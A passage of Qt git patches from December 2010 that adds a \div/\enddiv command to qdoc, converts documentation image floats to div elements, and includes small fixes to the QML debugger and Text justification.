\inlineimage rect-border-width.png - \endfloat + \floatright rect-border-width.png \snippet doc/src/snippets/declarative/rectangle/rect-border-width.qml 0 @@ -293,9 +287,7 @@ QDeclarativePen *QDeclarativeRectangle::border() This property allows for the construction of simple vertical gradients. Other gradients may by formed by adding rotation to the rectangle. - \beginfloatleft - \inlineimage declarative-rect_gradient.png - \endfloat + \floatleft declarative-rect_gradient.png \snippet doc/src/snippets/declarative/rectangle/rectangle-gradient.qml rectangles \clearfloat @@ -361,9 +353,7 @@ void QDeclarativeRectangle::setRadius(qreal radius) The default color is white. - \beginfloatright - \inlineimage rect-color.png - \endfloat + \floatright rect-color.png The following example shows rectangles with colors specified using hexadecimal and named color notation: diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 398480e..52e563b 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -108,9 +108,7 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM The following example shows a ListModel containing three elements, with the roles "name" and "cost". - \beginfloatright - \inlineimage listmodel.png - \endfloat + \floatright listmodel.png \snippet doc/src/snippets/declarative/listmodel.qml 0 @@ -133,9 +131,7 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM The delegate displays all the fruit attributes: - \beginfloatright - \inlineimage listmodel-nested.png - \endfloat + \floatright listmodel-nested.png \snippet doc/src/snippets/declarative/listmodel-nested.qml delegate diff --git a/src/gui/graphicsview/qgraphicsanchorlayout.cpp b/src/gui/graphicsview/qgraphicsanchorlayout.cpp index 539826b..1d1d257 100644 --- a/src/gui/graphicsview/qgraphicsanchorlayout.cpp +++ b/src/gui/graphicsview/qgraphicsanchorlayout.cpp @@ -56,9 +56,7 @@ Items that are anchored are automatically added to the layout, and if items are removed, all their anchors will be automatically removed. - \beginfloatleft - \inlineimage simpleanchorlayout-example.png Using an anchor layout to align simple colored widgets. - \endfloat + \figureleft{simpleanchorlayout-example.png}{Using an anchor layout to align simple colored widgets.} Anchors are always set up between edges of an item, where the "center" is also considered to be an edge. Consider the following example: -- cgit v0.12 From 0fe36ac832abf8f8d438b21fce0177b65b3bbf3a Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 14 Dec 2010 13:22:12 +0100 Subject: qdoc: Changed index.qdoc to use new \div command This is necessary for the Mimir project, but it is also useful for writing html output in that now you can write the index page (and other such pages) using pure qdoc commands. i.e. you don't need to use raw html for this sort of thing anymore. --- doc/src/index.qdoc | 166 ++++++++++++++++++----------------- tools/qdoc3/atom.cpp | 3 + tools/qdoc3/atom.h | 2 + tools/qdoc3/ditaxmlgenerator.cpp | 8 ++ tools/qdoc3/doc.cpp | 23 +++-- tools/qdoc3/htmlgenerator.cpp | 12 ++- tools/qdoc3/test/macros.qdocconf | 1 + tools/qdoc3/test/qt-ditaxml.qdocconf | 1 + 8 files changed, 131 insertions(+), 85 deletions(-) diff --git a/doc/src/index.qdoc b/doc/src/index.qdoc index 57fc18a..aefbea1 100644 --- a/doc/src/index.qdoc +++ b/doc/src/index.qdoc @@ -29,83 +29,91 @@ \page index.html \keyword Qt Reference Documentation - \raw HTML -
    -
    - Qt Developer Guide
    -
    -
    -
    -

    Qt is a cross-platform application and UI framework. Using Qt, you can write web-enabled applications once and deploy them across desktop, mobile and embedded operating systems without rewriting the source code.

    -
    - -
    -
    - -
    -
    - Qt Tools
    -
    -
    -
    -

    Qt offers a selection of development tools for different tasks. Use Qt Creator for - project and code management as well as building powerfull UIs.

    -
    - -
    -
    - \endraw + \div {indexbox guide} + \div {heading} + Qt Developer Guide + \enddiv + \div {indexboxcont indexboxbar} + \div {section indexIcon} \emptyspan + \enddiv + \div {section} + Qt is a cross-platform application and UI + framework. Using Qt, you can write web-enabled + applications once and deploy them across desktop, + mobile and embedded operating systems without + rewriting the source code. + \enddiv + \div {section sectionlist} + \list + \o \l{Getting Started Guides}{Getting started} + \o \l{Installation}{Installation} + \o \l{how-to-learn-qt.html}{How to learn Qt} + \o \l{tutorials.html}{Tutorials} + \o \l{Qt Examples}{Examples} + \o \l{qt4-7-intro.html}{What's new in Qt 4.7} + \endlist + \enddiv + \enddiv + \enddiv + \div {indexbox api} + \div {heading} + Qt API + \enddiv + \div {indexboxcont indexboxbar } + \div {sectionlist tricol} + \list + \o \l{All Classes}{All Classes} + \o \l{All Functions}{All Functions} + \o \l{All Modules}{All Modules} + \o \l{All Namespaces}{All Namespaces} + \o \l{Global Qt Declarations}{Global Declarations} + \o \l{Qt Licenses and Credits}{Licenses and Credits} + \endlist + \enddiv + \div {sectionlist tricol} + \list + \o \l{qt-basic-concepts.html}{Programming with Qt} + \o \l{qt-gui-concepts.html}{UI Design with Qt} + \o \l{developing-with-qt.html}{Cross-platform and Platform-specific} + \o \l{technology-apis.html}{Qt and Key Technologies} + \o \l{best-practices.html}{Best Practices Guides} + \endlist + \enddiv + \div {sectionlist} + \list + \o \l{qtquick.html}{Qt Quick} + \o \l{qdeclarativeintroduction.html}{Introduction to QML} + \o \l{qdeclarativeelements.html}{QML Elements} + \o \l{qdeclarativeexamples.html}{QML Examples and Demos} + \endlist + \enddiv + \enddiv + \enddiv + \div {indexbox tools} + \div {heading} + Qt Tools + \enddiv + \div {indexboxcont} + \div {section indexIcon} \emptyspan + \enddiv + \div {section} + Qt offers a selection of development tools for + different tasks. Use Qt Creator for project and code + management as well as building powerfull UIs. + \enddiv + \div {section sectionlist} + \list + \o \l{http://doc.qt.nokia.com/qtcreator-2.0/index.html}{Qt Creator} + \o \l{designer-manual.html}{Qt Designer} + \o \l{linguist-manual.html}{Qt Linguist} + \o \l{assistant-manual.html}{Qt Assistant} + \o \l{qmake-manual.html}{Qt qmake} + \o \l{http://doc.qt.nokia.com/qtsimulator-1.0/index.html}{Qt Simulator} + \o \l{http://qt.nokia.com/developer/eclipse-integration}{Eclipse Integration} + \o \l{http://qt.nokia.com/products/appdev}{Add-On Products and Services} + \o \l{qvfb.html}{Virtual Framebuffer} + \endlist + \enddiv + \enddiv + \enddiv */ diff --git a/tools/qdoc3/atom.cpp b/tools/qdoc3/atom.cpp index d18c3c4..301244d 100644 --- a/tools/qdoc3/atom.cpp +++ b/tools/qdoc3/atom.cpp @@ -107,6 +107,7 @@ QString Atom::UPPERROMAN_ ("upperroman"); \value CodeOld \value CodeQuoteArgument \value CodeQuoteCommand + \value Div \value EndQmlText \value FormatElse \value FormatEndif @@ -179,6 +180,8 @@ static const struct { { "CodeOld", Atom::CodeOld }, { "CodeQuoteArgument", Atom::CodeQuoteArgument }, { "CodeQuoteCommand", Atom::CodeQuoteCommand }, + { "Div", Atom::Div }, + { "EndDiv", Atom::EndDiv }, #ifdef QDOC_QML { "EndQmlText", Atom::EndQmlText }, #endif diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h index 4639711..fe85aec 100644 --- a/tools/qdoc3/atom.h +++ b/tools/qdoc3/atom.h @@ -72,7 +72,9 @@ class Atom CodeOld, CodeQuoteArgument, CodeQuoteCommand, + Div, #ifdef QDOC_QML + EndDiv, EndQmlText, #endif FootnoteLeft, diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 57a6e8d..7b40886 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -751,6 +751,14 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, writeCharacters(trimmedTrailing(plainCode(atom->string()))); xmlWriter().writeEndElement(); // break; + case Atom::Div: + xmlWriter().writeStartElement("bodydiv"); + if (!atom->string().isEmpty()) + xmlWriter().writeAttribute("outputclass", atom->string()); + break; + case Atom::EndDiv: + xmlWriter().writeEndElement(); // + break; case Atom::FootnoteLeft: // ### For now if (in_para) { diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 9a154f8..1c72f54 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -74,11 +74,11 @@ struct Macro enum { CMD_A, CMD_ABSTRACT, CMD_ANNOTATEDLIST, CMD_BADCODE, CMD_BASENAME, CMD_BOLD, CMD_BRIEF, CMD_C, CMD_CAPTION, - CMD_CHAPTER, CMD_CODE, CMD_CODELINE, CMD_DOTS, CMD_ELSE, - CMD_ENDABSTRACT, CMD_ENDCHAPTER, CMD_ENDCODE, - CMD_ENDFOOTNOTE, CMD_ENDIF, CMD_ENDLEGALESE, CMD_ENDLINK, - CMD_ENDLIST, CMD_ENDOMIT, CMD_ENDPART, CMD_ENDQUOTATION, - CMD_ENDRAW, CMD_ENDSECTION1, CMD_ENDSECTION2, + CMD_CHAPTER, CMD_CODE, CMD_CODELINE, CMD_DIV, CMD_DOTS, + CMD_ELSE, CMD_ENDABSTRACT, CMD_ENDCHAPTER, CMD_ENDCODE, + CMD_ENDDIV, CMD_ENDFOOTNOTE, CMD_ENDIF, CMD_ENDLEGALESE, + CMD_ENDLINK, CMD_ENDLIST, CMD_ENDOMIT, CMD_ENDPART, + CMD_ENDQUOTATION, CMD_ENDRAW, CMD_ENDSECTION1, CMD_ENDSECTION2, CMD_ENDSECTION3, CMD_ENDSECTION4, CMD_ENDSIDEBAR, CMD_ENDTABLE, CMD_EXPIRE, CMD_FOOTNOTE, CMD_GENERATELIST, CMD_GRANULARITY, CMD_HEADER, CMD_I, CMD_IF, CMD_IMAGE, @@ -117,11 +117,13 @@ static struct { { "chapter", CMD_CHAPTER, 0 }, { "code", CMD_CODE, 0 }, { "codeline", CMD_CODELINE, 0}, + { "div", CMD_DIV, 0 }, { "dots", CMD_DOTS, 0 }, { "else", CMD_ELSE, 0 }, { "endabstract", CMD_ENDABSTRACT, 0 }, { "endchapter", CMD_ENDCHAPTER, 0 }, { "endcode", CMD_ENDCODE, 0 }, + { "enddiv", CMD_ENDDIV, 0 }, { "endfootnote", CMD_ENDFOOTNOTE, 0 }, { "endif", CMD_ENDIF, 0 }, { "endlegalese", CMD_ENDLEGALESE, 0 }, @@ -555,6 +557,11 @@ void DocParser::parse(const QString& source, append(Atom::QmlText); break; #endif + case CMD_DIV: + leavePara(); + x = getArgument(true); + append(Atom::Div, x); + break; case CMD_CODELINE: { if (!quoting) { @@ -622,6 +629,10 @@ void DocParser::parse(const QString& source, case CMD_ENDCODE: closeCommand(cmd); break; + case CMD_ENDDIV: + append(Atom::EndDiv); + closeCommand(cmd); + break; #ifdef QDOC_QML case CMD_ENDQML: closeCommand(cmd); @@ -2348,6 +2359,8 @@ int DocParser::endCmdFor(int cmd) return CMD_ENDCHAPTER; case CMD_CODE: return CMD_ENDCODE; + case CMD_DIV: + return CMD_ENDDIV; #ifdef QDOC_QML case CMD_QML: return CMD_ENDQML; diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index b5295c8..40cfba3 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -211,13 +211,13 @@ static void addLink(const QString &linkTarget, HtmlGenerator::HtmlGenerator() : helpProjectWriter(0), inLink(false), + inObsoleteLink(false), inContents(false), inSectionHeading(false), inTableHeader(false), numTableRows(0), threeColumnEnumValueTable(true), funcLeftParen("\\S(\\()"), - inObsoleteLink(false), myTree(0), slow(false), obsoleteLinks(false) @@ -511,6 +511,13 @@ int HtmlGenerator::generateAtom(const Atom *atom, << trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string())))) << "\n"; break; + case Atom::Div: + out() << "string().isEmpty()) + out() << " class=\"" << atom->string() << "\">"; + else + out() << ">"; + break; case Atom::FootnoteLeft: // ### For now if (in_para) { @@ -1129,6 +1136,9 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << "\\" << protectEnc(atom->string()) << ""; break; + case Atom::EndDiv: + out() << "
    "; + break; #ifdef QDOC_QML case Atom::QmlText: case Atom::EndQmlText: diff --git a/tools/qdoc3/test/macros.qdocconf b/tools/qdoc3/test/macros.qdocconf index 510a8b3..2262daa 100644 --- a/tools/qdoc3/test/macros.qdocconf +++ b/tools/qdoc3/test/macros.qdocconf @@ -34,3 +34,4 @@ macro.beginfloatleft.HTML = "
    " macro.beginfloatright.HTML = "
    " macro.endfloat.HTML = "
    " macro.clearfloat.HTML = "
    " +macro.emptyspan.HTML = "" diff --git a/tools/qdoc3/test/qt-ditaxml.qdocconf b/tools/qdoc3/test/qt-ditaxml.qdocconf index bc32149..211bdb2 100644 --- a/tools/qdoc3/test/qt-ditaxml.qdocconf +++ b/tools/qdoc3/test/qt-ditaxml.qdocconf @@ -46,3 +46,4 @@ macro.beginfloatleft.HTML = " " macro.beginfloatright.HTML = " " macro.endfloat.HTML = " " macro.clearfloat.HTML = " " +macro.emptyspan.DITAXML = " " -- cgit v0.12 From a8fb1076935a0eb58f803477ed246dc237624370 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 14 Dec 2010 16:03:40 +0100 Subject: Removed macros for figures and floats. We'll use \div...\enddiv instead. --- tools/qdoc3/test/macros.qdocconf | 32 -------------------------------- 1 file changed, 32 deletions(-) diff --git a/tools/qdoc3/test/macros.qdocconf b/tools/qdoc3/test/macros.qdocconf index 39986fc..2262daa 100644 --- a/tools/qdoc3/test/macros.qdocconf +++ b/tools/qdoc3/test/macros.qdocconf @@ -30,38 +30,6 @@ macro.endcomment = "\\c{*/}" macro.uuml.HTML = "ü" macro.mdash.HTML = "—" -# Macros for floating images and floating images with alt text. -# Ideally, these would be HTML-only macros. - -macro.floatleft = "\\raw HTML\n" \ - "
    " \ - "\\endraw\n" \ - "\\inlineimage \1\n" \ - "\\raw HTML\n" \ - "
    \n" \ - "\\endraw\n" -macro.figureleft = "\\raw HTML\n" \ - "
    " \ - "\\endraw\n" \ - "\\inlineimage \1 \2\n" \ - "\\raw HTML\n" \ - "
    \n" \ - "\\endraw\n" -macro.floatright = "\\raw HTML\n" \ - "
    \n" \ - "\\endraw\n" \ - "\\inlineimage \1\n" \ - "\\raw HTML\n" \ - "
    \n" \ - "\\endraw\n" -macro.figureright = "\\raw HTML\n" \ - "
    " \ - "\\endraw\n" \ - "\\inlineimage \1 \2\n" \ - "\\raw HTML\n" \ - "
    \n" \ - "\\endraw\n" - macro.beginfloatleft.HTML = "
    " macro.beginfloatright.HTML = "
    " macro.endfloat.HTML = "
    " -- cgit v0.12 From bf835c2e69b3bc37145e572f68554bf771eeec3f Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 14 Dec 2010 16:05:30 +0100 Subject: Treat div elements like paragraphs. --- tools/qdoc3/doc.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 8d4d0ee..ce9e30d 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -562,6 +562,8 @@ void DocParser::parse(const QString& source, leavePara(); x = getArgument(true); append(Atom::Div, x); + openedCommands.push(cmd); + enterPara(); break; case CMD_CODELINE: { @@ -631,6 +633,7 @@ void DocParser::parse(const QString& source, closeCommand(cmd); break; case CMD_ENDDIV: + leavePara(); append(Atom::EndDiv); closeCommand(cmd); break; -- cgit v0.12 From cbfeb79c80a774166e016e7c879bba465ffc0496 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 14 Dec 2010 16:07:48 +0100 Subject: Doc: Used div elements for floats, updated the style sheet. --- doc/src/declarative/positioners.qdoc | 22 ++++++++++++++++------ doc/src/declarative/qdeclarativemodels.qdoc | 4 +++- doc/src/getting-started/how-to-learn-qt.qdoc | 4 +++- doc/src/template/style/style.css | 11 ++++++++++- doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc | 4 +++- .../graphicsitems/qdeclarativeflickable.cpp | 4 +++- .../graphicsitems/qdeclarativegridview.cpp | 4 +++- .../graphicsitems/qdeclarativemousearea.cpp | 4 +++- .../graphicsitems/qdeclarativerectangle.cpp | 20 +++++++++++++++----- src/declarative/util/qdeclarativelistmodel.cpp | 8 ++++++-- src/gui/graphicsview/qgraphicsanchorlayout.cpp | 4 +++- 11 files changed, 68 insertions(+), 21 deletions(-) diff --git a/doc/src/declarative/positioners.qdoc b/doc/src/declarative/positioners.qdoc index ed320a1..d97acbd 100644 --- a/doc/src/declarative/positioners.qdoc +++ b/doc/src/declarative/positioners.qdoc @@ -53,7 +53,9 @@ graphical elements: \section2 Column -\floatright qml-column.png +\div{float-right} +\inlineimage qml-column.png +\enddiv \l Column items are used to vertically arrange items. The following example uses a Column item to arrange three \l Rectangle items in an area defined @@ -68,7 +70,9 @@ must be added to a parent Rectangle, if desired. \section2 Row -\floatright qml-row.png +\div{float-right} +\inlineimage qml-row.png +\enddiv \l Row items are used to horizontally arrange items. The following example uses a Row item to arrange three rounded \l Rectangle items in an area defined @@ -83,7 +87,9 @@ left around the edges of the horizontally centered Row item. \section2 Grid -\floatright qml-grid-spacing.png +\div{float-right} +\inlineimage qml-grid-spacing.png +\enddiv \l Grid items are used to place items in a grid or table arrangement. The following example uses a Grid item to place four \l Rectangle items @@ -102,8 +108,10 @@ at the appropriate places in the Grid definition. \section2 Flow -\floatright qml-flow-text1.png -\floatright qml-flow-text2.png +\div{float-right} +\inlineimage qml-flow-text1.png +\inlineimage qml-flow-text2.png +\enddiv \l Flow items are used to place items like words on a page, with rows or columns of non-overlapping items. @@ -129,7 +137,9 @@ control of spacing between items and between lines of items. \section1 Repeaters -\floatright qml-repeater-grid-index.png +\div{float-right} +\inlineimage qml-repeater-grid-index.png +\enddiv Repeaters create items from a template for use with positioners, using data from a model. Combining repeaters and positioners is an easy way to lay out diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc index a61b115..495b3bd 100644 --- a/doc/src/declarative/qdeclarativemodels.qdoc +++ b/doc/src/declarative/qdeclarativemodels.qdoc @@ -504,7 +504,9 @@ a Web browser. \l ListView shows a classic list of items with horizontal or vertical placing of items. -\floatright qml-listview-snippet.png +\div{float-right} +\inlineimage qml-listview-snippet.png +\enddiv The following example shows a minimal ListView displaying a sequence of numbers (using an \l{QML Data Models#An Integer}{integer as a model}). diff --git a/doc/src/getting-started/how-to-learn-qt.qdoc b/doc/src/getting-started/how-to-learn-qt.qdoc index e5f1ff9..0d5fd0a 100644 --- a/doc/src/getting-started/how-to-learn-qt.qdoc +++ b/doc/src/getting-started/how-to-learn-qt.qdoc @@ -51,7 +51,9 @@ key overviews to deepen your understanding of Qt: The Qt \l{Object Model} and \l{Signals and Slots}. - \floatleft qtdemo-small.png + \div{float-left} + \inlineimage qtdemo-small.png + \enddiv \section1 Getting an Overview diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css index 04d8c05..d623bd4 100755 --- a/doc/src/template/style/style.css +++ b/doc/src/template/style/style.css @@ -176,7 +176,16 @@ { /* background-color: #E6E6E6;*/ /* disabled until further notice */ } - + + div.float-left + { + float: left; margin-right: 2em + } + div.float-right + { + float: right; margin-left: 2em + } + span.comment { color: #008B00; diff --git a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc index 598cbea..e74c84c 100644 --- a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc +++ b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc @@ -41,7 +41,9 @@ 现在您已经编写了一些小型可用的应用程序,并对 Qt 编程有更加广泛的了解。您可以直接着手做自己的项目,但我们建议您阅读以下一些关键简介以加深您对 Qt 的了解:\l{Qt Object Model}Qt 对象模型}和\l{Signals and Slots}{信号和槽}。 - \floatleft qtdemo-small.png + \div {float-left} + \inlineimage qtdemo-small.png + \enddiv \section1 了解概况 diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp index 1899a39..cd770d4 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp @@ -373,7 +373,9 @@ void QDeclarativeFlickablePrivate::updateBeginningEnd() \section1 Example Usage - \floatright flickable.gif + \div {float-right} + \inlineimage flickable.gif + \enddiv The following example shows a small view onto a large image in which the user can drag or flick the image in order to view different parts of it. diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index c7517f4..ba66aba 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -1095,7 +1095,9 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m \snippet doc/src/snippets/declarative/gridview/ContactModel.qml 0 - \floatright gridview-simple.png + \div {float-right} + \inlineimage gridview-simple.png + \enddiv This model can be referenced as \c ContactModel in other QML files. See \l{QML Modules} for more information about creating reusable components like this. diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp index 56e5c6b..3d5c29f 100644 --- a/src/declarative/graphicsitems/qdeclarativemousearea.cpp +++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp @@ -216,7 +216,9 @@ QDeclarativeMouseAreaPrivate::~QDeclarativeMouseAreaPrivate() \section1 Example Usage - \floatright qml-mousearea-snippet.png + \div {float-right} + \inlineimage qml-mousearea-snippet.png + \enddiv The following example uses a MouseArea in a \l Rectangle that changes the \l Rectangle color to red when clicked: diff --git a/src/declarative/graphicsitems/qdeclarativerectangle.cpp b/src/declarative/graphicsitems/qdeclarativerectangle.cpp index 969027e..7bb6afb 100644 --- a/src/declarative/graphicsitems/qdeclarativerectangle.cpp +++ b/src/declarative/graphicsitems/qdeclarativerectangle.cpp @@ -131,7 +131,9 @@ void QDeclarativeGradientStop::updateGradient() \section1 Example Usage - \floatright qml-gradient.png + \div {float-right} + \inlineimage qml-gradient.png + \enddiv The following example declares a \l Rectangle item with a gradient starting with red, blending to yellow at one third of the height of the rectangle, @@ -215,7 +217,9 @@ void QDeclarativeGradient::doUpdate() \section1 Example Usage - \floatright declarative-rect.png + \div {float-right} + \inlineimage declarative-rect.png + \enddiv The following example shows the effects of some of the common properties on a Rectangle item, which in this case is used to create a square: @@ -265,7 +269,9 @@ void QDeclarativeRectangle::doUpdate() rectangle (as documented for QRect rendering). This can cause unintended effects if \c border.width is 1 and the rectangle is \l{Item::clip}{clipped} by a parent item: - \floatright rect-border-width.png + \div {float-right} + \inlineimage rect-border-width.png + \enddiv \snippet doc/src/snippets/declarative/rectangle/rect-border-width.qml 0 @@ -287,7 +293,9 @@ QDeclarativePen *QDeclarativeRectangle::border() This property allows for the construction of simple vertical gradients. Other gradients may by formed by adding rotation to the rectangle. - \floatleft declarative-rect_gradient.png + \div {float-left} + \inlineimage declarative-rect_gradient.png + \enddiv \snippet doc/src/snippets/declarative/rectangle/rectangle-gradient.qml rectangles \clearfloat @@ -353,7 +361,9 @@ void QDeclarativeRectangle::setRadius(qreal radius) The default color is white. - \floatright rect-color.png + \div {float-right} + \inlineimage rect-color.png + \enddiv The following example shows rectangles with colors specified using hexadecimal and named color notation: diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 52e563b..0f117f5 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -108,7 +108,9 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM The following example shows a ListModel containing three elements, with the roles "name" and "cost". - \floatright listmodel.png + \div {float-right} + \inlineimage listmodel.png + \enddiv \snippet doc/src/snippets/declarative/listmodel.qml 0 @@ -131,7 +133,9 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM The delegate displays all the fruit attributes: - \floatright listmodel-nested.png + \div {float-right} + \inlineimage listmodel-nested.png + \enddiv \snippet doc/src/snippets/declarative/listmodel-nested.qml delegate diff --git a/src/gui/graphicsview/qgraphicsanchorlayout.cpp b/src/gui/graphicsview/qgraphicsanchorlayout.cpp index 1d1d257..fe0ad86 100644 --- a/src/gui/graphicsview/qgraphicsanchorlayout.cpp +++ b/src/gui/graphicsview/qgraphicsanchorlayout.cpp @@ -56,7 +56,9 @@ Items that are anchored are automatically added to the layout, and if items are removed, all their anchors will be automatically removed. - \figureleft{simpleanchorlayout-example.png}{Using an anchor layout to align simple colored widgets.} + \div {float-left} + \inlineimage simpleanchorlayout-example.png Using an anchor layout to align simple colored widgets. + \enddiv Anchors are always set up between edges of an item, where the "center" is also considered to be an edge. Consider the following example: -- cgit v0.12 From cace8e6a9f00ee478dfe63a7fa6959056cfe7e8a Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 15 Dec 2010 13:51:23 +0100 Subject: Doc: Fixed an old-style float. --- src/declarative/graphicsitems/qdeclarativegridview.cpp | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index ba66aba..264f12c 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -1111,7 +1111,9 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m \codeline \snippet doc/src/snippets/declarative/gridview/gridview.qml classdocs simple - \floatright gridview-highlight.png + \div {float-right} + \inlineimage gridview-highlight.png + \enddiv The view will create a new delegate for each item in the model. Note that the delegate is able to access the model's \c name and \c portrait data directly. -- cgit v0.12 From 867a421ed539040bd197c13f6c98f313e232cdf3 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 16 Dec 2010 11:37:13 +0100 Subject: qdoc: Added typedef to help the OSX compiler accept a template. --- tools/qdoc3/qmlmarkupvisitor.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h index 60bc336..709a858 100644 --- a/tools/qdoc3/qmlmarkupvisitor.h +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -159,10 +159,11 @@ protected: QString protect(const QString &string); private: + typedef QHash StringHash; void addExtra(quint32 start, quint32 finish); void addMarkedUpToken(QDeclarativeJS::AST::SourceLocation &location, const QString &text, - const QHash &attributes = QHash()); + const StringHash &attributes = StringHash()); void addVerbatim(QDeclarativeJS::AST::SourceLocation first, QDeclarativeJS::AST::SourceLocation last = QDeclarativeJS::AST::SourceLocation()); QString sourceText(QDeclarativeJS::AST::SourceLocation &location); -- cgit v0.12 From d1139664012718f9bbf54e283ef7c370d98c48a8 Mon Sep 17 00:00:00 2001 From: Christiaan Janssen Date: Thu, 16 Dec 2010 12:33:21 +0100 Subject: QmlDebugger: reset properties to default value Reviewed-by: Kai Koehne --- src/declarative/qml/qdeclarativeenginedebug.cpp | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp index 4d6e50c..6c013de 100644 --- a/src/declarative/qml/qdeclarativeenginedebug.cpp +++ b/src/declarative/qml/qdeclarativeenginedebug.cpp @@ -613,9 +613,25 @@ void QDeclarativeEngineDebugServer::resetBinding(int objectId, const QString &pr QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::setBinding(property, 0); if (oldBinding) oldBinding->destroy(); + } + if (property.isResettable()) { + // Note: this will reset the property in any case, without regard to states + // Right now almost no QDeclarativeItem has reset methods for its properties (with the + // notable exception of QDeclarativeAnchors), so this is not a big issue + // later on, setBinding does take states into account + property.reset(); } else { - if (property.isResettable()) { - property.reset(); + // overwrite with default value + if (QDeclarativeType *objType = QDeclarativeMetaType::qmlType(object->metaObject())) { + if (QObject *emptyObject = objType->create()) { + if (emptyObject->property(propertyName.toLatin1()).isValid()) { + QVariant defaultValue = QDeclarativeProperty(emptyObject, propertyName).read(); + if (defaultValue.isValid()) { + setBinding(objectId, propertyName, defaultValue, true); + } + } + delete emptyObject; + } } } } else { -- cgit v0.12 From c54443507edf98832c67d727746ae4a130a14571 Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Fri, 17 Dec 2010 15:55:50 +1000 Subject: Support for justification in Text and TextEdit elements. Task-number: QTBUG-13242 Reviewed-by: Michael Brasser --- src/declarative/graphicsitems/qdeclarativetext.cpp | 11 +++++++---- src/declarative/graphicsitems/qdeclarativetext_p.h | 3 ++- .../graphicsitems/qdeclarativetextedit.cpp | 1 + .../graphicsitems/qdeclarativetextedit_p.h | 3 ++- .../qdeclarativetext/align/data-MAC/justify.0.png | Bin 0 -> 7233 bytes .../qdeclarativetext/align/data-MAC/justify.qml | 11 +++++++++++ .../qmlvisual/qdeclarativetext/align/justify.qml | 22 +++++++++++++++++++++ .../qdeclarativetextedit/data-MAC/justify.0.png | Bin 0 -> 7233 bytes .../qdeclarativetextedit/data-MAC/justify.qml | 11 +++++++++++ .../qmlvisual/qdeclarativetextedit/justify.qml | 22 +++++++++++++++++++++ 10 files changed, 78 insertions(+), 6 deletions(-) create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml create mode 100644 